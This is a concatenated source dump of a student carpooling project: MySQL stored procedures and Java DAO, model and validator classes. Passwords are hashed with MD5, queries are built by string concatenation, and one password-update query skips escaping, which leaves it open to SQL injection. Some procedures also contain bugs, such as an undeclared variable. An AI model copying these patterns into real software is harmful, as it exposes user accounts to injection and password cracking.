IN _rte_date_begin INT(11),
IN _rte_date_end INT(11),
IN _rte_comment TEXT,
IN _rte_owner INT(11),
IN _rte_seat INT(2),
IN _rte_car INT(11),
OUT _rte_id INT(11)
)
BEGIN
INSERT INTO route_rte
(
rte_id,
rte_type,
rte_pos_begin,
rte_pos_end,
rte_date_begin,
rte_date_end,
rte_comment,
rte_owner,
rte_seat,
rte_car
)
VALUES
(
NULL,
_rte_type,
_rte_pos_begin,
_rte_pos_end,
_rte_date_begin,
_rte_date_end,
_rte_comment,
_rte_owner,
_rte_seat,
_rte_car
);
SELECT LAST_INSERT_ID() INTO _rte_id;
END //
DROP PROCEDURE IF EXISTS route_add_segment //
CREATE PROCEDURE route_add_segment (
IN _rte_id INT(11),
IN _pos_begin INT(11),
IN _pos_end INT(11),
IN _duration INT(11),
IN _date_begin BIGINT(20),
IN _order INT(11)
)
BEGIN
INSERT INTO segment_seg (seg_id , seg_route , seg_pos_begin , seg_pos_end , seg_duration , seg_date_begin, seg_order) VALUES
(NULL , _rte_id , _pos_begin , _pos_end , _duration , _date_begin , _order);
END //
DROP PROCEDURE IF EXISTS route_del_all_segment //
CREATE PROCEDURE route_del_all_segment (
IN _rte_id INT(11)
)
BEGIN
DELETE FROM segment_seg WHERE seg_route = _rte_id;
END //
DROP PROCEDURE IF EXISTS route_del_by_id //
CREATE PROCEDURE route_del_by_id (
IN _rte_id INT(11)
)
BEGIN
DELETE FROM segment_seg WHERE seg_route = _rte_id;
DELETE FROM passager_psg WHERE psg_route = _rte_id;
DELETE FROM route_rte WHERE rte_id = _rte_id;
END //
DROP PROCEDURE IF EXISTS route_join //
CREATE PROCEDURE route_join (
IN _rte_id INT(11),
IN _usr_id INT(11)
)
BEGIN
DECLARE __pos_begin INT(11);
DECLARE __pos_end INT(11);
SELECT rte_pos_begin, rte_pos_end INTO __pos_begin, __pos_end FROM route_rte WHERE rte_id = _rte_id;
INSERT IGNORE INTO passager_psg (psg_id ,psg_route ,psg_user, psg_type , psg_askdate , psg_pos_begin , psg_pos_end ) VALUES
(NULL , _rte_id , _usr_id, 1 , UNIX_TIMESTAMP() , __pos_begin , __pos_end );
-- 3 waiting
-- 1 accepted
END //
DROP PROCEDURE IF EXISTS route_passager_edit_type //
CREATE PROCEDURE route_passager_edit_type (
IN _rte_id INT(11),
IN _usr_id INT(11),
in _pgt_id INT(11)
)
BEGIN
UPDATE passager_psg SET psg_type = _pgt_id WHERE psg_user = _usr_id AND psg_route = _rte_id;
-- 3 waiting
END //
DROP PROCEDURE IF EXISTS route_search //
CREATE PROCEDURE route_search (
IN _position_begin_id INT(11),
IN _position_end_id INT(11)
)
BEGIN
SELECT *
FROM route_rte
WHERE
rte_pos_begin = _position_begin_id
AND rte_pos_end = _position_end_id
AND rte_deletedate IS NULL;
END //
DROP PROCEDURE IF EXISTS route_search_with_date //
CREATE PROCEDURE route_search_with_date (
IN _position_begin_id INT(11),
IN _position_end_id INT(11),
IN _begin_date_departure BIGINT(11),
IN _end_date_departure BIGINT(11)
)
BEGIN
SELECT *
FROM route_rte
WHERE
rte_pos_begin = _position_begin_id
AND rte_pos_end = _position_end_id
AND rte_deletedate IS NULL
AND rte_date_begin BETWEEN _begin_date_departure AND _end_date_departure;
END //
DROP PROCEDURE IF EXISTS route_search_with_date_and_delta //
CREATE PROCEDURE route_search_with_date_and_delta (
IN _position_begin_id INT(11),
IN _position_end_id INT(11),
IN _begin_date_departure BIGINT(11),
IN _end_date_departure BIGINT(11),
IN _location_approximate_nb_meters INT(11),
IN _rtp_id INT(11)
)
BEGIN
DECLARE __delta_deg_x FLOAT(10,6);
DECLARE __delta_deg_y FLOAT(10,6);
/*
SELECT ( ( _location_approximate_nb_meters / 100 ) * 0.0009) As tmp INTO __delta_deg_x;
SELECT ( ( _location_approximate_nb_meters / 100 ) * 0,0014) As tmp INTO __delta_deg_y;
*/
SELECT _location_approximate_nb_meters / 100 * 0.0019 INTO __delta_deg_x;
SELECT _location_approximate_nb_meters / 100 * 0.0014 INTO __delta_deg_y;
SELECT *
FROM route_rte
INNER JOIN position_pos AS posbeg ON posbeg.pos_id = rte_pos_begin
INNER JOIN position_pos AS posend ON posend.pos_id = rte_pos_end
INNER JOIN position_pos AS posbegask ON posbegask.pos_id = _position_begin_id
INNER JOIN position_pos AS posendask ON posendask.pos_id = _position_end_id
WHERE
posbeg.pos_latitude BETWEEN (posbegask.pos_latitude - __delta_deg_x) AND (posbegask.pos_latitude + __delta_deg_x)
AND posbeg.pos_longitude BETWEEN (posbegask.pos_longitude - __delta_deg_y) AND (posbegask.pos_longitude + __delta_deg_y)
AND posend.pos_latitude BETWEEN (posendask.pos_latitude - __delta_deg_x) AND (posendask.pos_latitude + __delta_deg_x)
AND posend.pos_longitude BETWEEN (posendask.pos_longitude - __delta_deg_y) AND (posendask.pos_longitude + __delta_deg_y)
AND rte_deletedate IS NULL
AND rte_date_begin BETWEEN _begin_date_departure AND _end_date_departure
AND (rte_type = _rtp_id OR _rtp_id = 0);
END //
DROP PROCEDURE IF EXISTS route_search_with_date_and_delta_using_subtraject //
CREATE PROCEDURE route_search_with_date_and_delta_using_subtraject (
IN _position_begin_id INT(11),
IN _position_end_id INT(11),
IN _begin_date_departure BIGINT(11),
IN _end_date_departure BIGINT(11),
IN _location_approximate_nb_meters INT(11),
IN _rtp_id INT(11)
)
BEGIN
DECLARE __delta_deg_x FLOAT(10,6);
DECLARE __delta_deg_y FLOAT(10,6);
/*
SELECT ( ( _location_approximate_nb_meters / 100 ) * 0.0009) As tmp INTO __delta_deg_x;
SELECT ( ( _location_approximate_nb_meters / 100 ) * 0,0014) As tmp INTO __delta_deg_y;
*/
SELECT _location_approximate_nb_meters / 100 * 0.0019 INTO __delta_deg_x;
SELECT _location_approximate_nb_meters / 100 * 0.0014 INTO __delta_deg_y;
SELECT DISTINCT rte.*
FROM route_rte rte
-- on jointe avec les positions de depart et d'arrive demandées
INNER JOIN position_pos AS posbegask ON posbegask.pos_id = _position_begin_id
INNER JOIN position_pos AS posendask ON posendask.pos_id = _position_end_id
-- on jointe avec des segments
INNER JOIN segment_seg AS segbeg ON segbeg.seg_route = rte.rte_id
INNER JOIN position_pos AS posbeg ON posbeg.pos_id = segbeg.seg_pos_begin
INNER JOIN segment_seg AS segend ON segend.seg_route = rte.rte_id
INNER JOIN position_pos AS posend ON posend.pos_id = segend.seg_pos_end
WHERE
posbeg.pos_latitude BETWEEN (posbegask.pos_latitude - __delta_deg_x) AND (posbegask.pos_latitude + __delta_deg_x)
AND posbeg.pos_longitude BETWEEN (posbegask.pos_longitude - __delta_deg_y) AND (posbegask.pos_longitude + __delta_deg_y)
AND posend.pos_latitude BETWEEN (posendask.pos_latitude - __delta_deg_x) AND (posendask.pos_latitude + __delta_deg_x)
AND posend.pos_longitude BETWEEN (posendask.pos_longitude - __delta_deg_y) AND (posendask.pos_longitude + __delta_deg_y)
AND ( (
-- AND
rte.rte_deletedate IS NULL
-- AND rte.rte_date_begin BETWEEN _begin_date_departure AND _end_date_departure
AND segbeg.seg_date_begin BETWEEN _begin_date_departure AND _end_date_departure
AND (rte_type = _rtp_id OR _rtp_id = 0)
AND (segbeg.seg_order > segend.seg_order OR 1)
) OR 0)
;
END //
DROP PROCEDURE IF EXISTS route_search_of_owner //
CREATE PROCEDURE route_search_of_owner (
IN _owner_id INT(11),
IN _begin_date_departure BIGINT(11),
IN _end_date_departure BIGINT(11),
IN _location_approximate_nb_meters INT(11),
IN _rtp_id INT(11)
)
BEGIN
SELECT rte.*
FROM route_rte rte
WHERE
rte_owner = _owner_id
AND rte_deletedate IS NULL
AND rte_date_begin BETWEEN _begin_date_departure AND _end_date_departure
AND (rte_type = _rtp_id OR _rtp_id = 0);
END //
DROP PROCEDURE IF EXISTS route_delete //
CREATE PROCEDURE route_delete (
IN _rte_id INT(11)
)
BEGIN
UPDATE route_rte SET rte_deletedate=UNIX_TIMESTAMP() WHERE rte_id = _rte_id;
END //
DROP PROCEDURE IF EXISTS route_get_passagers //
CREATE PROCEDURE route_get_passagers (
IN _rte_id INT(11)
)
BEGIN
SELECT usr.*, psg.*
FROM passager_psg as psg
INNER JOIN user_usr ON psg.psg_user = usr.usr_id
WHERE
psg_route = _rte_id;
END //
DROP PROCEDURE IF EXISTS route_get_passagers_of_type //
CREATE PROCEDURE route_get_passagers_of_type (
IN _rte_id INT(11),
IN _pgt_id INT(11)
)
BEGIN
SELECT usr.*, psg.*
FROM passager_psg as psg
INNER JOIN user_usr usr ON psg.psg_user = usr.usr_id
WHERE
psg_route = _rte_id
AND (psg_type = _pgt_id OR _pgt_id = 0 );
END //
DROP PROCEDURE IF EXISTS route_get_segments //
CREATE PROCEDURE route_get_segments (
IN _rte_id INT(11)
)
BEGIN
SELECT seg.*,
pbeg.pos_id AS pbeg_pos_id,
pbeg.pos_address AS pbeg_pos_address,
pbeg.pos_latitude AS pbeg_pos_latitude,
pbeg.pos_longitude AS pbeg_pos_longitude,
pend.pos_id AS pend_pos_id,
pend.pos_address AS pend_pos_address,
pend.pos_latitude AS pend_pos_latitude,
pend.pos_longitude AS pend_pos_longitude
FROM segment_seg seg
INNER JOIN position_pos pbeg ON seg.seg_pos_begin = pbeg.pos_id
INNER JOIN position_pos pend ON seg.seg_pos_end = pend.pos_id
WHERE
seg.seg_route = _rte_id;
END //
DELIMITER ;
-- sims SQL V2, Sprint 2
-- Procedures stokes
-- From <NAME>
DELIMITER //
-- Return user_id of associated user or null if not
DROP PROCEDURE IF EXISTS user_get_user_by_email //
CREATE PROCEDURE user_get_user_by_email (
IN _usr_email VARCHAR(100)
)
BEGIN
SELECT * FROM user_usr WHERE usr_email=_usr_email;
END //
-- Check if the tuple user - password is valid
-- Return the user if valid or NULL if not
DROP PROCEDURE IF EXISTS user_check_authentification //
CREATE PROCEDURE user_check_authentification (
IN _usr_email VARCHAR(100),
IN _usr_password_not_encrypted VARCHAR(100)
)
BEGIN
UPDATE user_usr SET usr_lastlogindate=UNIX_TIMESTAMP() WHERE usr_email=_usr_email AND usr_password = MD5(CONCAT(usr_id,_usr_password_not_encrypted));
SELECT * FROM user_usr WHERE usr_email=_usr_email AND usr_password = MD5(CONCAT(usr_id,_usr_password_not_encrypted));
END //
DROP PROCEDURE IF EXISTS user_create //
CREATE PROCEDURE user_create (
IN _usr_email VARCHAR(100),
IN _usr_password_not_encrypted VARCHAR(100),
IN _usr_firstname VARCHAR(100),
IN _usr_lastname VARCHAR(100),
IN _usr_genre ENUM('male','female')
)
BEGIN
DECLARE __usr_id INT(11);
call _user_create(_usr_email, _usr_password_not_encrypted, _usr_firstname, _usr_lastname, _usr_genre, '', __usr_id);
SELECT * FROM user_usr WHERE usr_id=__usr_id;
END //
DROP PROCEDURE IF EXISTS user_create_short //
CREATE PROCEDURE user_create_short (
IN _usr_email VARCHAR(100),
IN _usr_password_not_encrypted VARCHAR(100),
IN _usr_firstname VARCHAR(100),
IN _usr_lastname VARCHAR(100),
IN _usr_mobilphone VARCHAR(100)
)
BEGIN
DECLARE __usr_id INT(11);
call _user_create( _usr_email,
_usr_password_not_encrypted,
_usr_firstname, -- _usr_firstname,
_usr_lastname, -- _usr_lastname,
'male', -- _usr_genre,
_usr_mobilphone,
__usr_id
);
-- UPDATE user_usr SET usr_mobilphone = _usr_mobilphone WHERE usr_id = __usr_id;
SELECT * FROM user_usr WHERE usr_id=__usr_id;
END //
DROP PROCEDURE IF EXISTS _user_create //
CREATE PROCEDURE _user_create (
IN _usr_email VARCHAR(100),
IN _usr_password_not_encrypted VARCHAR(100),
IN _usr_firstname VARCHAR(100),
IN _usr_lastname VARCHAR(100),
IN _usr_genre ENUM('male','female'),
IN _usr_mobilphone VARCHAR(100),
OUT _usr_id INT(11)
)
BEGIN
INSERT INTO user_usr (usr_email, usr_password, usr_firstname, usr_lastname, usr_genre, usr_registrationdate, usr_lastlogindate , usr_description , usr_mobilphone) VALUES
(_usr_email, '', _usr_firstname, _usr_lastname, _usr_genre, UNIX_TIMESTAMP(), UNIX_TIMESTAMP() , '' , _usr_mobilphone);
SELECT LAST_INSERT_ID() INTO _usr_id;
call _user_update_password(_usr_id, _usr_password_not_encrypted);
END //
DROP PROCEDURE IF EXISTS user_update_password //
CREATE PROCEDURE user_update_password (
IN _usr_id INT(11),
IN _usr_password_not_encrypted VARCHAR(100)
)
BEGIN
UPDATE user_usr SET usr_password = MD5(CONCAT(_usr_id,_usr_password_not_encrypted)) WHERE usr_id = _usr_id;
SELECT * FROM user_usr WHERE usr_id=_usr_id;
END //
DROP PROCEDURE IF EXISTS _user_update_password //
CREATE PROCEDURE _user_update_password (
IN _usr_id INT(11),
IN _usr_password_not_encrypted VARCHAR(100)
)
BEGIN
UPDATE user_usr SET usr_password = MD5(CONCAT(_usr_id,_usr_password_not_encrypted)) WHERE usr_id = _usr_id;
END //
DROP PROCEDURE IF EXISTS user_update //
CREATE PROCEDURE user_update (
IN _usr_id INT(11),
IN _usr_email VARCHAR(100),
IN _usr_password_not_encrypted VARCHAR(100),
IN _usr_firstname VARCHAR(100),
IN _usr_lastname VARCHAR(100),
IN _usr_genre ENUM('male','female'),
IN _usr_birthdate BIGINT(20),
IN _usr_description TEXT,
IN _usr_mobilphone VARCHAR(100)
)
BEGIN
UPDATE user_usr SET
usr_email= _usr_email,
usr_firstname = _usr_firstname,
usr_lastname = _usr_lastname,
usr_genre = _usr_genre,
usr_birthdate = _usr_birthdate,
usr_description = _usr_description,
usr_mobilphone = _usr_mobilphone
WHERE usr_id = _usr_id;
SELECT * FROM user_usr WHERE usr_id=_usr_id;
END //
DROP PROCEDURE IF EXISTS user_update_current_position //
CREATE PROCEDURE user_update_current_position (
IN _usr_id INT(11),
IN _pos_id INT(11)
)
BEGIN
UPDATE user_usr SET
usr_current_position=_pos_id
WHERE usr_id = _usr_id;
END //
-- Insert or update name of a user favorite place
DROP PROCEDURE IF EXISTS user_add_pos_fav //
CREATE PROCEDURE user_add_pos_fav (
IN _usr_id INT(11),
IN _pos_id INT(11),
IN _label VARCHAR(100)
)
BEGIN
INSERT INTO user_fav_pos_ufp (ufp_id, ufp_user, ufp_position, ufp_label ) VALUES
(
NULL,
_usr_id,
_pos_id,
_label
) ON DUPLICATE KEY UPDATE ufp_label=_label;
SELECT * FROM user_fav_pos_ufp WHERE ufp_user = _usr_id AND ufp_position = _pos_id;
END //
-- Insert or update name of a user favorite place
DROP PROCEDURE IF EXISTS user_add_or_edit_by_label_pos_fav //
CREATE PROCEDURE user_add_or_edit_by_label_pos_fav (
IN _usr_id INT(11),
IN _pos_id INT(11),
IN _label VARCHAR(100)
)
BEGIN
DECLARE __ufp_id INT(11);
SELECT ufp_id INTO __ufp_id FROM user_fav_pos_ufp WHERE ufp_label = _label AND ufp_user = _usr_id;
IF __ufp_id IS NULL THEN
INSERT INTO user_fav_pos_ufp (ufp_id, ufp_user, ufp_position, ufp_label ) VALUES
(
NULL,
_usr_id,
_pos_id,
_label
) ON DUPLICATE KEY UPDATE ufp_label=_label;
ELSE
UPDATE user_fav_pos_ufp SET ufp_position= _pos_id WHERE ufp_id = __ufp_id;
END IF;
SELECT * FROM user_fav_pos_ufp WHERE ufp_user = _usr_id AND ufp_position = _pos_id;
END //
-- Delete a user favorite place
DROP PROCEDURE IF EXISTS user_fav_pos_delete //
CREATE PROCEDURE user_fav_pos_delete (
IN _ufp_id INT(11)
)
BEGIN
DELETE FROM user_fav_pos_ufp WHERE ufp_id = _ufp_id;
END //
-- Insert or update name of a user favorite place
DROP PROCEDURE IF EXISTS user_get_pos_fav //
CREATE PROCEDURE user_get_pos_fav (
IN _usr_id INT(11)
)
BEGIN
SELECT *
FROM user_fav_pos_ufp ufp
INNER JOIN position_pos pos ON pos.pos_id = ufp.ufp_position
WHERE ufp_user = _usr_id;
END //
DELIMITER ;
<file_sep>/Covoiturage/src/model/Car.java
package model;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.Hashtable;
public class Car {
protected int id;
protected String name;
protected int owner;
protected int seat;
/**
* @return the id
*/
public int getId() {
return id;
}
/**
* @param id the id to set
*/
public void setId(int id) {
this.id = id;
}
/**
* @return the name
*/
public String getName() {
return name;
}
/**
* @param name the name to set
*/
public void setName(String name) {
this.name = name;
}
/**
* @return the car_owner
*/
public int getOwner() {
return owner;
}
/**
* @param car_owner the car_owner to set
*/
public void setOwner(int owner) {
this.owner = owner;
}
/**
* @return the seat
*/
public int getSeat() {
return seat;
}
/**
* @param seat the seat to set
*/
public void setSeat(int seat) {
this.seat = seat;
}
/**
* @param id
* @param name
* @param car_owner
* @param seat
*/
public Car(int id, String name, int owner, int seat) {
super();
this.id = id;
this.name = name;
this.owner = owner;
this.seat = seat;
}
/**
* @param id
*/
public Car(int id) {
super();
this.id = id;
}
public Car(Hashtable<String, String> sqlrow) {
super();
this.id = Integer.valueOf(sqlrow.get("car_id"));
this.name = sqlrow.get("car_name");
this.owner = Integer.valueOf(sqlrow.get("car_owner"));
this.seat = Integer.valueOf(sqlrow.get("car_seat"));
}
public Car(ResultSet sqlrow) {
super();
try {
this.id = sqlrow.getInt("car_id");
this.name = sqlrow.getString("car_name");
this.owner = sqlrow.getInt("car_owner");
this.seat = sqlrow.getInt("car_seat");
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
<file_sep>/Covoiturage/src/dao/DaoUser.java
package dao;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.Hashtable;
import com.mysql.jdbc.exceptions.jdbc4.MySQLIntegrityConstraintViolationException;
import utilities.Constantes;
import utilities.FacesUtil;
import model.Criterion;
import model.Position;
import model.User;
import model.User_fav_position;
public class DaoUser {
public static ConnexionBD con;
/**
*
* @param email
* @param passWord
* @return User
* @throws Exception
*/
public static User createUser(String email, String password,
String firstName, String lastName, String mobilePhone)
throws Exception {
con = null;
String messageErr = null;
ResultSet res;
User user = null;
try {
con = null;
String query;
try {
con = ConnexionBD.getConnexion();
query = "call user_get_user_by_email('" + ConnexionBD.escape(email) + "')";
res = con.execute(query);
if (res.first())// There is result -> email is already used
throw new Exception(Constantes.USER_ALREADY_SAVED);
query = "call user_create_short('" + ConnexionBD.escape(email) + "', '" + ConnexionBD.escape(password)
+ "', '" + ConnexionBD.escape(firstName) + "', '" + ConnexionBD.escape(lastName) + "', '"
+ ConnexionBD.escape(mobilePhone) + "')";
res = con.execute(query);
if (res.first())
user = new User(res);
} catch (MySQLIntegrityConstraintViolationException ex) {
messageErr = Constantes.USER_ALREADY_SAVED;
System.err.println(messageErr + " : " + ex);
throw new Exception(messageErr);
}
} catch (ClassNotFoundException ex) {
messageErr = Constantes.CLASS_DB_NOT_FOUND;
System.err.println(messageErr + " : " + ex);
throw new Exception(messageErr);
} catch (SQLException ex) {
messageErr = Constantes.PROBLEME_CONNECTION_DB;
System.err.println(messageErr + " : " + ex);
throw new Exception(messageErr);
}
return user;
}
/**
*
* @param email
* @param passWord
* @return
* @throws Exception
*/
public static User authentification(String email, String passWord)
throws Exception {
con = null;
String messageErr = null;
User userLogged = null;
try {
con = ConnexionBD.getConnexion();
String query = "call user_check_authentification('" + ConnexionBD.escape(email)
+ "', '" + ConnexionBD.escape(passWord) + "')";
ResultSet curseur = con.execute(query);
if (curseur.first()) {
userLogged = new User(curseur);
} else {
messageErr = Constantes.PASSWORD_OR_USER_NOT_CORRECT;
throw new Exception(messageErr);
}
} catch (ClassNotFoundException ex) {
messageErr = Constantes.CLASS_DB_NOT_FOUND;
System.err.println(messageErr + " : " + ex);
throw new Exception(messageErr);
} catch (SQLException ex) {
messageErr = Constantes.PROBLEME_CONNECTION_DB;
System.err.println(messageErr + " : " + ex);
throw new Exception(messageErr);
} catch (Exception e) {
messageErr = Constantes.PASSWORD_OR_USER_NOT_CORRECT;
System.err.println(messageErr + " : " + e);
throw new Exception(messageErr);
}
return userLogged;
}
public static User changeProfile(User userTemp) throws Exception {
con = null;
String messageErr = null;
User userLogged = null;
try {
con = ConnexionBD.getConnexion();
String query = "call user_get_user_by_email('" + ConnexionBD.escape(userTemp.getEmail()) + "')";
ResultSet res = con.execute(query);
if (res.first()) // There is result -> email is already used
{
String emailInSession = FacesUtil.getUser().getEmail();
String emailInDB = res.getString("usr_email");
if(!emailInSession.equals(emailInDB))
throw new Exception(Constantes.USER_ALREADY_SAVED);
}
query = "call user_update(" + userTemp.getId() + ", '"
+ ConnexionBD.escape(userTemp.getEmail()) + "', '"
+ ConnexionBD.escape(userTemp.getPassword()) + "', '"
+ ConnexionBD.escape(userTemp.getFirstname()) + "', '"
+ ConnexionBD.escape(userTemp.getLastname()) + "'," + "'"
+ userTemp.getGenre() + "',"
+ userTemp.getBirthdateAsInteger() + ", '"
+ ConnexionBD.escape(userTemp.getDescription()) + "', '"
+ ConnexionBD.escape(userTemp.getMobilphone()) + "')";
String queryChangePassWord = "call user_update_password('"
+ userTemp.getId() + "', '" + userTemp.getPassword()
+ "');";
ResultSet curseur = null;
if(userTemp.getPassword().length() == 0)
{
curseur = con.execute(query);
}
else{
con.execute(query);
curseur = con.execute(queryChangePassWord);
}
if (curseur.first()) {
userLogged = new User(curseur);
}
} catch (ClassNotFoundException ex) {
messageErr = Constantes.CLASS_DB_NOT_FOUND;
System.err.println(messageErr + " : " + ex);
throw new Exception(messageErr);
} catch (SQLException ex) {
messageErr = Constantes.PROBLEME_CONNECTION_DB;
System.err.println(messageErr + " : " + ex);
throw new Exception(messageErr);
}
return userLogged;
}
/**
*
* @param usr_id
* @return
*/
public static User getUser(int usr_id) {
User usr = null;
try {
con = ConnexionBD.getConnexion();
String query = "SELECT * FROM user_usr WHERE usr_id= " + usr_id
+ "";
ResultSet curseur = con.execute(query);
if (curseur.first()) {
usr = new User(curseur);
return usr;
} else {
return null;
}
} catch (Exception e) {
return null;
}
}
public static User getUser(User usr) {
return DaoUser.getUser(usr.getId());
}
public static Hashtable<Integer, Criterion> getCriterionsOfUser(int usr_id) {
return DaoCriterion.getCriterionsOfUser(usr_id);
}
public static Hashtable<Integer, User_fav_position> getFavoritePositionsOfUser(
User usr) {
return DaoUser.getFavoritePositionsOfUser(usr.getId());
}
public static Hashtable<Integer, User_fav_position> getFavoritePositionsOfUser(
int usr_id) {
Hashtable<Integer, User_fav_position> list = new Hashtable<Integer, User_fav_position>();
User_fav_position ufp = null;
Position pos = null;
try {
con = ConnexionBD.getConnexion();
String query = "call user_get_pos_fav(" + usr_id + ")";
ResultSet curseur = con.execute(query);
while (curseur.next()) {
ufp = new User_fav_position(curseur);
pos = new Position(curseur);
ufp.setPositionObj(pos);
list.put(ufp.getId(), ufp);
}
} catch (Exception e) {
return list;
}
return list;
}
//
// public static void main(String[] args) {
//
// try {
// con = ConnexionBD.getConnexion();
// User user = null;
// String query = "call user_create_short('<EMAIL>', 'Dounia1988', 'Othman', 'BENTRIA', '0677665544')";
// ResultSet res = con.execute(query);
// System.out.println(res);
//
// user = new User(res);
//
// if(user != null) System.out.println("mobile phone : " + user.getMobilphone());
// else System.out.println("null");
//
//
//
// } catch (SQLException e) {
// // TODO Auto-generated catch block
// e.printStackTrace();
// } catch (ClassNotFoundException e) {
// // TODO Auto-generated catch block
// e.printStackTrace();
// }
////
// }
}
<file_sep>/Base de donnees/v2/procedures/sims.v2.procedure.comment.sql
-- sims SQL V2, Sprint 2
-- Procedures stokes, route
-- From <NAME>
DELIMITER //
DROP PROCEDURE IF EXISTS comment_create_or_update //
CREATE PROCEDURE comment_create_or_update (
IN _cmn_user_from INT(11),
IN _cmn_user_to INT(11),
IN _cmn_text TEXT,
IN _cmn_note INT(11)
)
BEGIN
DECLARE __cmn_id INT(11);
INSERT INTO comment_cmn(
cmn_id,
cmn_user_from,
cmn_user_to,
cmn_text,
cmn_note
) VALUES (
NULL,
_cmn_user_from,
_cmn_user_to,
_cmn_text,
_cmn_note
) ON DUPLICATE KEY UPDATE cmn_text = _cmn_text, cmn_note = _cmn_note;
SELECT cmn_id INTO __cmn_id FROM comment_cmn WHERE cmn_user_from = _cmn_user_from AND cmn_user_to = _cmn_user_to;
call _comment_update_note_of_user(_cmn_user_to);
SELECT * FROM comment_cmn WHERE cmn_id=__cmn_id;
END //
DROP PROCEDURE IF EXISTS _comment_update_note_of_user //
CREATE PROCEDURE _comment_update_note_of_user (
IN _usr_id INT(11)
)
BEGIN
DECLARE __avg_float DOUBLE;
SELECT AVG(cmn_note) INTO __avg_float
FROM comment_cmn
WHERE cmn_user_to = _usr_id
AND cmn_note IS NOT NULL
AND cmn_note <> 0;
UPDATE user_usr SET usr_note = ROUND(__avg) WHERE usr_id = _usr_id;
END //
DROP PROCEDURE IF EXISTS comment_get_posted_by //
CREATE PROCEDURE comment_get_posted_by (
IN _usr_id INT(11)
)
BEGIN
SELECT * FROM comment_cmn WHERE cmn_user_from = _usr_id;
END //
DROP PROCEDURE IF EXISTS comment_get_posted_about //
CREATE PROCEDURE comment_get_posted_about (
IN _usr_id INT(11)
)
BEGIN
SELECT * FROM comment_cmn WHERE cmn_user_to = _usr_id;
END //
DROP PROCEDURE IF EXISTS comment_get_from_and_about //
CREATE PROCEDURE comment_get_from_and_about (
IN _user_from_id INT(11),
IN _user_to_id INT(11)
)
BEGIN
SELECT * FROM comment_cmn WHERE cmn_user_from = _user_from_id AND cmn_user_to = _user_to_id;
END //
DROP PROCEDURE IF EXISTS comment_delete //
CREATE PROCEDURE comment_delete (
IN _cmn_id INT(11)
)
BEGIN
DECLARE __cmn_user_to INT(11);
SELECT cmn_user_to INTO __cmn_user_to FROM comment_cmn WHERE cmn_id = _cmn_id;
DELETE FROM comment_cmn WHERE cmn_id = _cmn_id;
call _comment_update_note_of_user(__cmn_user_to);
END //
DELIMITER ;
<file_sep>/Base de donnees/v2/procedures/sims.v2.procedure.criterion.sql
-- sims SQL V2, Sprint 2
-- Procedures stokes
-- From <NAME>
DELIMITER //
DROP PROCEDURE IF EXISTS _criterion_update_crt_crt //
CREATE PROCEDURE _criterion_update_crt_crt ()
BEGIN
DECLARE done INT DEFAULT 0;
DECLARE __crt_id INT(11);
DECLARE __crt_root_criterion INT(11);
DECLARE cur1 CURSOR FOR SELECT crt_id FROM _criterion_crt;
DECLARE cur2 CURSOR FOR SELECT crt_id, crt_root_criterion FROM _criterion_crt WHERE crt_root_criterion IS NOT NULL ;
DECLARE CONTINUE HANDLER FOR NOT FOUND SET done = 1;
OPEN cur2;
TRUNCATE TABLE crt_crt;
OPEN cur1;
read_loop: LOOP
FETCH cur1 INTO __crt_id;
IF done THEN
LEAVE read_loop;
END IF;
INSERT INTO crt_crt (crt_container, crt_contained) VALUES (__crt_id, __crt_id);
END LOOP;
CLOSE cur1;
OPEN cur2;
read_loop2: LOOP
FETCH cur2 INTO __crt_id, __crt_root_criterion ;
IF done THEN
LEAVE read_loop2;
END IF;
INSERT INTO crt_crt (crt_container, crt_contained) VALUES (__crt_root_criterion, __crt_id);
END LOOP;
CLOSE cur1;
end //
DROP PROCEDURE IF EXISTS get_criterions_of_user //
CREATE PROCEDURE get_criterions_of_user (
IN _usr_id INT(11)
)
BEGIN
SELECT crt.*
FROM usr_crt uc
INNER JOIN _criterion_crt crt ON uc.crt_id = crt.crt_id
WHERE uc.usr_id = _usr_id
ORDER BY crt_order;
END //
DROP PROCEDURE IF EXISTS get_criterions_of_user_of_type //
CREATE PROCEDURE get_criterions_of_user_of_type (
IN _usr_id INT(11),
IN _ctt_id INT(11)
)
BEGIN
SELECT crt.*
FROM usr_crt uc
INNER JOIN _criterion_crt crt ON uc.crt_id = crt.crt_id
WHERE uc.usr_id = _usr_id
AND crt.crt_type = _ctt_id
ORDER BY crt_order;
END //
DELIMITER ;
<file_sep>/Covoiturage/src/utilities/ValidatorOfData.java
package utilities;
import java.util.StringTokenizer;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class ValidatorOfData {
private static final int PASSWORD_MIN_LENGTH = 6;
public static Boolean validateData(String data){
//TODO
return true;
}
public static Boolean validateEMail(String email){
// Input the string for validation
// String email = "<EMAIL>";
// Set the email pattern string
Pattern p = Pattern.compile("[a-zA-Z0-9\\-_+.]+@[a-zA-Z0-9\\-_+.]+\\.[a-zA-Z]{2,3}");
// Match the given string with the pattern
Matcher m = p.matcher(email);
// check whether match is found
boolean matchFound = m.matches();
StringTokenizer st = new StringTokenizer(email, ".");
String lastToken = null;
while (st.hasMoreTokens()) {
lastToken = st.nextToken();
}
if (matchFound && lastToken.length() >= 2
&& email.length() - 1 != lastToken.length()) {
// validate the country code
return true;
} else
return false;
}
public static Boolean validatePhone(String phone){
Pattern pattern = Pattern.compile("(0|(00\\d{2})|(\\+\\d{2}))\\d{9}");
Matcher matcher = pattern.matcher(phone);
if (matcher.matches()) {
return true;
}
else{
return false;
}
}
public static Boolean validatePassWord(String password){
if(password.length() < ValidatorOfData.PASSWORD_MIN_LENGTH) {
return false;
}
return true;
}
}
<file_sep>/Base de donnees/v2/sims.v2.drop.sql
-- sims SQL V2, Sprint 2
-- DROP DATABASES
-- From <NAME>
set foreign_key_checks = 0;
DROP VIEW IF EXISTS _view_user_usr;
DROP VIEW IF EXISTS _view_passager_psg;
DROP VIEW IF EXISTS _view_route_rte;
DROP TABLE IF EXISTS segment_seg;
DROP TABLE IF EXISTS _passager_type_pgt;
DROP TABLE IF EXISTS comment_cmn;
DROP TABLE IF EXISTS googlecache_gch;
DROP TABLE IF EXISTS passager_psg;
DROP TABLE IF EXISTS user_fav_pos_ufp;
DROP TABLE IF EXISTS route_rte;
DROP TABLE IF EXISTS _route_type_rtp;
DROP TABLE IF EXISTS car_car;
DROP TABLE IF EXISTS position_pos;
DROP TABLE IF EXISTS usr_crt;
DROP TABLE IF EXISTS user_usr;
DROP TABLE IF EXISTS crt_crt;
